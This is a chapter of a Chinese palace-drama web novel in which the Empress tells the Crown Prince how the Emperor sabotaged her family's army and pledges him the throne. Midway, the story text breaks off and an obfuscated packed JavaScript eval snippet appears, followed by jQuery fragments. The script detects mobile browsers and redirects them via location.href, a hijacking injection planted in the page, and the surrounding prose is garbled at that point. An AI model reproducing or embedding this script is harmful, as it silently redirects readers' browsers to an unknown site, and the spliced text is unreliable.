九狱燃灯宜醉不宜醒

18. 皇后

(1)


穿过重重帘帐,走进秾华殿后殿,皇后带着轩辕上虞拐进了最里处的佛堂,那上面供着的是垂目肃颜的地藏王菩萨。


这是轩辕上虞第一次来母后的佛堂,平日里这里并没有外人可入,自己也很少在秾华殿逗留。竟然从未见过母后每日礼拜之地,竟然是如此明亮肃穆。虽然所处幽深、宫窗采光却不差,虽被重重帘帐遮盖住了透进来的光线,但也并不似一般的佛堂那般幽暗甚至压抑。


皇后先是在地藏王菩萨面前拜了一拜,然后走上前,打开菩萨脚下放着的佛龛,从里面拿出一把长剑。皇后转身、自然地拔剑,百炼花纹钢的剑身应声而出、锋芒大盛。


皇后端详着剑刃,目露一丝欣然和向往。


那把长约4尺的剑与皇后略显娇小的身材有些格格不入,那剑看起来并不轻、并不适合女子握持,但皇后却稳稳握着它。哪怕身着长裾裙装、哪怕只是将那剑随意在手里左右轻晃了两下,也挡不住皇后整个人的勃勃英气。


轩辕上虞从未见过这样的母后,一时有些看楞住了。


皇后的目光并未从剑上离开,自然也没有注意到儿子的目光。她自顾自地端详这把久违的宝剑,问:


“这把兀傲剑,原是你舅舅最爱的配剑。但在我进宫那一年,他送嫁离开时,却从腰间解下来送给了我……他对我说’清商复为假,无累云间翔’……”


“清商复为假,无累云间翔。……阿姊此去勿念家,相逢有时各珍重,宫门一入非无恃,万氏倾族护阿姊。”


万旃君的奉剑时的话,声音不高不低,近旁观礼的朝臣大人都听的分明。


那高大的少年屈膝半跪,将手中名扬东都的宝剑赠予了出阁的阿姊,这在当时的东都街头巷尾一时传为佳话。


轩辕上虞自然也是听说过,却是第一次听母后说起。


送嫁之后,外公便带着舅舅出征云洲了,自那之后,就再也没有回来……


“你舅舅是告诉我,不要害怕,但他不知道,我从未害怕过……”皇后将剑归鞘,复又放回剑中。转身面对轩辕上虞,“我不怕入这深宫、也不怕你父皇不爱我……就像这把剑我虽然并不用,但它就在我心里,有了它,我就没有任何畏惧。”


“我的父兄,是大週的护国将军。于国,征战半生,收复云洲、洗清大週数十年的割地屈辱;于陛下,万氏力保他登基称帝,为他扫平监王之乱,有从龙之功;于家,我是万氏嫡长女嫁予他为妻,为他生下嫡长子。无论于国于家…即便对皇帝而言,我万氏从未负过大週。无论你的父皇如何想、无论他喜不喜欢,都改变不了这一点。”


皇后边说便在边堂所设的蒲团上落座。


“母后……”轩辕上虞想说母后慎言,但却没有说出口。


皇后示意他在对面落座,轩辕上虞自然听从,坐在了母后的对面。


只听皇后又说:


“丞相被刺案,凶手指向你的意图如此明显,满朝文武都看得出,你的父皇自然也看得出。他明知你是冤枉的,却还是要将你禁足,你以为、他是针对你?”


轩辕上虞不做声,只用眼神默认了。


蔷蘼姑姑从外面端了茶进来,放在了两人面前的桌几上,便离开了。


这佛堂明显除了他们两人,并无外人。


“是针对你,但也不全是……他针对的,是我万氏一族,”皇后将茶碗往自己面前挪了挪,但并没有喝,“你可知道当年的宁王之案?”


大週宁王案,发生在当今圣上登基的第二年。


当时的宁王被皇帝宣入宫闲坐,刚好午膳时间,宁王便被陛下留下共进午膳。当时宴席上有梁州新贡的鱼糕,宁王吃了几块,便中毒身亡。此案牵扯的试毒太监宫女一众被处决,梁州幕全族被诛,震动朝野。


传言皇后娘娘跪在延和殿前三日三夜,为宁王求情,惹陛下不喜,自此之后便疏远了皇后。


轩辕上虞自然是听过这个案子,但此刻却有些欲言又止:


“儿臣是听过一些传言,传言说母后为宁王……求情……”


其实坊间多是这些不成体统的传言,连皇后与宁王有私情的传闻都有,不过终究是犯皇家忌讳、这种谣言寥寥,并不成气候。轩辕上虞是听说过一耳朵这样的无稽之谈,但此刻并不好承认罢了。


皇后抬眼,眸光深深:


“并非是替宁王求情,本宫与宁王素昧谋面,何来情谊可求……本宫当时是替梁州幕求情……”


轩辕上虞面露惊诧,他竟是第一次知道,母后与宁王叔竟不相识。


皇后顿了一下,继续说:


“梁州路远……梁州幕一朝被罢,新任官员不能即时就任。梁州辖内所有政令封禁,等新任官员上任裁决……”


皇后说到此处停顿了一下,而后端起面前的茶抿了一口,满口苦涩。


“儿臣不解……梁州幕就任,母后为何忧心……”


见皇后话说一半,轩辕上虞疑惑追问。


皇后面上神色不变,嚼着那直入心底的苦涩,缓缓道:


“当时是建元二年……是云洲苦战最关键的时候。梁州是军粮调度要塞,朝廷调往云洲的军粮卡在梁州、因梁州幕未及时就任便再也无法西行。……我跪求陛下着选梁州在职其他官员代政、疏通云梁两地粮道……但俱被驳回,我跪求陛下让雍州就近驰援送粮也被驳回……”


说到曾经宫门跪求却屡屡被拒的回忆,皇后的语气如同浸冰:


“你的外公和舅舅,以及三十万西征云洲的破月军将士苦战粮绝达半年之久……”


皇后握着杯子的手发起了抖,盈盈眸光微微颤抖,又一次停了下。


轩辕上虞腾地站起,大惊道:


“这不可能!这怎么可能?这……”


他原地踱步,方寸大乱,似思似惊,心神巨震。


“这……所以……所以……”


几度开口,却哑然失声,悲愤之情逐渐染红了轩辕上虞的双目。


“所以云洲之战的惨胜、破月军三十万将士全军覆灭的…捷报……是这么……这么来的……”


难以置信的真相浮出,轩辕上虞哽咽难忍,双眸似承受不住那逐渐蓄满泪水,滚滚落下。


“是。”皇后镇定地望着自己的儿子,眸光盈盈。


“破月军全军覆灭、同时也将月弥主力军全歼在了云洲边界。万氏将士死伤殆尽、云洲一洲百姓死伤无数,换来了月弥国投降的国书……在先皇时就被割让的云洲全境收归大週。这就是人人尽知的捷报!”


皇后抬眼看着轩辕上虞,眼中已无泪光,方才一瞬间蓄满眼眶的泪水已看不出痕迹。


“此战之后,你的父皇为了安抚朝内其他武将的心,将已成一片焦土的云洲封给了你的外公,免十年赋税,享世袭罔替。你舅舅和外公,因此便不能再回东都。”


轩辕上虞呆愣着,看着看着,听着听着,心一分一分凉了下来。神情从开始的难以置信、到得知真相的痛苦、伤心、难过,最后只剩下一片茫然。


(2)


皇后看着轩辕上虞这幅模样,忽然百味杂陈。


这段回忆自己每每想起都悲愤难忍,方才看到这样真相同样也伤到了这个孩子。看那张跟当今陛下如一个模子里刻出来的面容上露出的痛苦,她是有一丝快慰的、只是快慰之后,突然就心软了。


轩辕上虞还能痛自己所痛,也不枉他们母子一场。


想着想着,皇后露出了些许清浅的笑意:


“平忧,你坐下。”


“嗯?什么?”轩辕上虞还有些恍惚,一时没有反应过来。


皇后便又说了一句:


“我说,你先坐下。”


这一次,没有用敬称。


轩辕上虞这才反应过来,忙又缓缓落座。方才坐定,便反应过来刚才母后说的话,又是一阵惊讶。


皇后没有再看她那不知为何略有些呆傻的儿子,继续说道:


“都过去了……十年了,你的外公和舅舅如今也都安好。”


皇后提壶为轩辕上虞斟茶、轩辕上虞忙要上手被皇后制止了。


清冽的茶汤淌出一条优美的弧度、然后稳稳落入轩辕上虞面前的茶碗中。清冽茶水声伴随皇后沉着的声音一起传来:


“凡人行事总要付出代价,你舅舅当年送嫁时说的那句’宫门一入非无恃,万氏倾族护阿姊’,想必被你父皇记在了心里。……宁王案不过是他针对万氏设的局。或许是出于忌惮、也或许认为万氏在威胁他,所以他便存了亡我族人之心,只可惜……我万氏,并未让他如愿。”


皇后笑着,将茶碗往轩辕面前推了推:


“你父皇做事,向来不喜做在明面上。就如宁王案他真正的目标是万氏,这次的丞相被刺案,他针对你也并不算他的本意。他的本意是在试探我、试探你的舅舅、试探万氏……他想看看如果动了你,万氏会作何反应。”


轩辕上虞震动,不可思议:


“所以钟如七被绳之以法……是舅舅……”


皇后颔首:</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299784|167116||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


p>


“是也不全是……钟如七得势多年,在朝中的势力如日中天,之所以走到今日的地步,最大的原因其实还是你的父皇。”


“父皇?钟如七不是父皇身边最得力的干将的吗?”


轩辕上虞再次疑惑。


皇后今天超乎寻常地有耐心:


“是得力干将没错~但当这位干将武功尽失成为废人,再也不能为他出生入死了。那在你的父皇看来,就跟一枚废棋无异了。……加之又出了秀女的事情,你的父皇不过是顺水推舟、让这一切水到渠成罢了……”


轩辕上虞恍然,但还是有些难以置信。


皇后看着他,忽然问:


“平忧,你真的想做这天下之主吗?”


轩辕上虞愣住,这一次他确信他没有听错,方才母后唤他的那声“平忧”果然不是他的幻觉。母后从未唤过他的字,从来都唤他“太子”,守礼却疏离。这还是第一次,母后唤了他的字,唤他“平忧。”


轩辕上虞有些惊喜,不对,是很惊喜,他甚至忘了母后在问他什么。满脑子都是母后那一声“平忧”。


平忧、平忧……


“平忧?”皇后直觉的自己儿子今日是不是受的刺激太多,竟然有些痴傻之态,不得不再唤他一次。


“啊,母后说什么?”


轩辕上虞回过神来,面上是掩不住的喜色。


“母后问你,你是真心想要那皇位吗?”


皇后不得不再问了一次。


皇后神色肃穆,轩辕上虞也不由地正襟危坐、半晌,郑重地点了点头。


皇后心内不自然地松了一口气:


“你是大週的太子,是父皇和母后的嫡长子,那皇位原本就应该是你的!你若不想要便罢了,但既然你想要,就只管放心大胆去拿,属于你的东西别人抢不走。轩辕铨抢不走、歆儿更不可能,就算是你的父皇,也不能!”


这是母后第一次给他如此重的承诺,轩辕上虞大为感动。他从小就以为母后是不喜他的,但是母后却原来如此看重他,竟然愿意将这天下最贵重的东西交给他。原来母后一直是向着他的,轩辕上虞望着母亲的双目盈盈。


皇后扭脸看向方才的那把剑:


“母后和整个云洲,就是你的兀傲剑,你尽管藏锋芒在胸,无需畏惧任何。”


“母后……”轩辕上虞忍不住起身行礼,“儿臣扣谢母后!”


皇后也起身,扶太子站起:


“太子无需多礼,今日这些话你知我知,不可出这佛堂。”


“儿臣遵命…”


“既然有这份心……你若得闲时,不妨代母后去万府看看……”


轩辕上虞点头:“舅舅日前还给儿臣送过信,让儿臣不必烦恼……”


收到信之时,轩辕上虞确实觉得有刹那安心。


“那不是你舅舅……你改日去过之后便明白了……”


皇后面露一点微笑、似有深意。但并不想解释太多的样子,轩辕上虞便没有追问。


“母后……”轩辕上虞挣扎了一下,终于鼓起勇气开口,“母后以后能唤儿臣的字吗?平忧喜欢母后唤儿臣字。”


皇后愣住,看着难得面露赧色的儿子,有些不适应,但还是点了点头。


轩辕上虞瞬间笑了。


皇后还是不适应今日的轩辕上虞,挥挥手:


“本宫也有些累了,你也该给你父皇请安了……”


轩辕上虞没有觉察皇后的别扭,躬身行礼:


“叨扰母后多时,儿臣这便去了。”


皇后点点头,自己先行在前。轩辕上虞在她身后落后几步,将桌案上自己茶碗里的茶拿起,仰头饮尽。


这是轩辕上虞第一次喝到母后斟的茶,新茶特有的清苦,后调却是甘甜的。


跟着母后出了佛堂,看母后要往歆儿休息的暖阁去,轩辕上虞才又想起了一事:


“母后……歆儿身边的嬷嬷,问他喜欢父皇还是喜欢母后……”


轩辕上虞并没有将话说完。


皇后驻足听罢,皱了皱眉:


“本宫知道了。”


有了这句话,轩辕上虞知道母后会处理,便喜笑颜开地真的告辞而去了。


蔷蘼姑姑走进来:


“太子今儿这是怎么了,竟如此开心……”


皇后摇摇头:


“不知,想是茶吃多了,噎傻了吧。”


蔷蘼姑姑愣住,皇后可从未如此说笑过,这是怎么了?


今儿真的是奇了。